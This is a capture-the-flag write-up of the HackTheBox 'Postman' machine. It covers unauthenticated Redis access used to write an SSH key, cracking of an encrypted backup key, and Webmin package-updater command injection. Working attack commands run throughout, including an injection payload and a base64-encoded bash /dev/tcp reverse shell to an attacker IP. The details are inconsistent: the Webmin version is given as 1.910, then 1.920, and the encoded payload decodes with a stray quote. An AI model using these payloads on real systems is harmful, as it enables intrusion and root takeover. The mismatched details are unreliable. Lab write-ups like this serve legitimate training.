Postman - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Postman is an easy Linux machine that demonstrates the dangers of misconfigured Redis servers and weak credential management. The attack chain leverages unauthenticated Redis access to write SSH keys, discovers an encrypted backup key that can be cracked offline, and finally exploits a command injection vulnerability in an older Webmin version to achieve root access. This machine is highly realistic, as it reflects common real-world misconfigurations found in production environments.

TL;DR: Unauthenticated Redis → Write SSH key → Crack encrypted SSH backup key → Lateral movement → Webmin command injection → Root access.

Reconnaissance

Port Scanning

nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160

Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http    Apache httpd 2.4.29
6379/tcp  open  redis   Redis 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)

Service Enumeration

SSH (Port 22): OpenSSH 7.6p1 running on Ubuntu — standard configuration, no obvious vulnerabilities.

Apache (Port 80): HTTP server running version 2.4.29 — serves default pages, no injection points identified.

Redis (Port 6379): Redis 4.0.9 running without authentication enabled. This is the critical finding — the server accepts commands without credentials.

Webmin (Port 10000): MiniServ 1.910 hosting Webmin management interface — vulnerable to command injection in the package updater module.

Vulnerability Assessment

1. Unauthenticated Redis Access: Redis 4.0.9 running without password authentication allows arbitrary command execution and file writes.
2. Weak SSH Key Storage: Encrypted SSH private key found in /opt/ with a crackable password.
3. Webmin Command Injection: MiniServ 1.910 package updater vulnerable to command injection via the u parameter.

Initial Foothold

Exploitation Path: Redis to SSH Access

Step 1: Connect to Redis

Redis is accessible without authentication. Use redis-cli to connect and verify the configuration:

redis-cli -h 10.10.10.160
CONFIG GET "*"

The server responds to commands, confirming no authentication is required. The default data directory is /var/lib/redis.

Step 2: Verify SSH Directory Existence

Check if the .ssh directory exists for the redis user:

CONFIG SET dir /var/lib/redis/.ssh

The OK response confirms the directory exists — we can write to it.

Step 3: Generate SSH Public Key

On your local machine, create an SSH key pair if you don’t have one:

ssh-keygen -t rsa -N "" -f postman_key
cat postman_key.pub

Step 4: Inject Public Key into Redis

In the redis-cli session, set the public key as a Redis value:

redis-cli -h 10.10.10.160
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET ssh_key "ssh-rsa AAAA...your_public_key_here..."
SAVE

This writes the public key to /var/lib/redis/.ssh/authorized_keys.

Step 5: SSH as Redis User

ssh -i postman_key redis@10.10.10.160

Successful authentication grants access to the redis user account.

Privilege Escalation

Lateral Movement: Discovering the Encrypted SSH Key

Step 1: Enumerate for SSH Keys

After gaining redis shell access, enumerate the system for interesting files:

find / -name "*.bak" -o -name "*id_rsa*" 2>/dev/null | grep -v proc

Identify /opt/id_rsa.bak — an encrypted SSH private key.

Step 2: Extract and Crack the Key

Copy the key to your local machine:

scp -i postman_key redis@10.10.10.160:/opt/id_rsa.bak ./id_rsa.bak

Use ssh2john to convert the key to a crackable hash:

python ssh2john.py id_rsa.bak > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The password is cracked as: computer2008

Step 3: Switch to Matt User

The other user on the system with a valid shell is Matt. Use the decrypted key to attempt direct SSH login (fails), but use su with the password:

su - Matt
# Enter password: computer2008

You now have Matt’s user access.

Privilege Escalation: Webmin Command Injection

Step 1: Identify Webmin Version

Check the Webmin version:

cat /etc/webmin/version

Version 1.920 is vulnerable to command injection in the package updater.

Step 2: Access Webmin Panel

Navigate to https://10.10.10.160:10000 in a browser. Log in with Matt’s credentials:

• Username: Matt
• Password: computer2008

Step 3: Locate Vulnerable Endpoint

Navigate to: System → Software Package Updates

Enable package updates and click “Update Select Packages” to intercept the request with Burp Suite.

Step 4: Exploit Command Injection

The /package-updates/update.cgi endpoint is vulnerable. The u parameter does not properly sanitize shell metacharacters.

Intercepted request (before modification):

POST /package-updates/update.cgi HTTP/1.1
...
u=acl%2Fapt&u=...

Modify to inject a command:

u=acl%2Fapt&u=$(whoami)

Forward the request and check the response. The output should show root, confirming command execution as root.

Step 5: Execute Reverse Shell

Prepare a base64-encoded reverse shell payload:

echo "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1" | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMSI=

Craft the final payload using IFS (Internal Field Separator) to avoid space splitting:

u=acl%2Fapt&u=echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMSI=%7Cbase64${IFS}-d%7Cbash

Start a listener on port 4444:

nc -nlvp 4444

Forward the modified request through Burp. A reverse shell connection as root should be received.

Attack Chain Summary

Unauthenticated Redis Access
    ↓
Write SSH Public Key to authorized_keys
    ↓
SSH as redis User
    ↓
Discover Encrypted id_rsa.bak
    ↓
Crack with John the Ripper (password: computer2008)
    ↓
Lateral Movement: su to Matt User
    ↓
Access Webmin with Matt Credentials
    ↓
Command Injection in Package Updater (/package-updates/update.cgi)
    ↓
Reverse Shell as Root

Tools Used

Key Learnings

Techniques Practiced

• Unauthenticated service exploitation (Redis without AUTH)
• File write primitives for privilege escalation (writing SSH keys)
• Offline password cracking of SSH private keys
• Command injection in web applications (shell metacharacter interpretation)
• Reverse shell payload encoding and delivery
• Lateral movement between user accounts

Lessons Learned

1. Redis Configuration is Critical: Default Redis installations without authentication allow attackers to write arbitrary files to the filesystem. Always enforce requirepass in production.

2. Encrypted Keys Need Strong Passwords: The id_rsa.bak key was protected only by a weak password (computer2008). Modern password cracking tools can quickly defeat such protections.

3. Multiple Accounts = Multiple Attack Vectors: The presence of both redis and Matt user accounts created stepping stones for escalation. Minimize accounts and disable unnecessary shells.

4. Web Application Input Validation is Essential: Webmin’s command injection vulnerability arose from insufficient sanitization of the u parameter. All user input must be validated against a whitelist.

5. Defense in Depth Matters: A single vulnerability (Redis) was insufficient to compromise the box; however, chaining multiple misconfigurations (encrypted key + weak password + injection) led to root access. Implementing defense-in-depth reduces attack surface.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>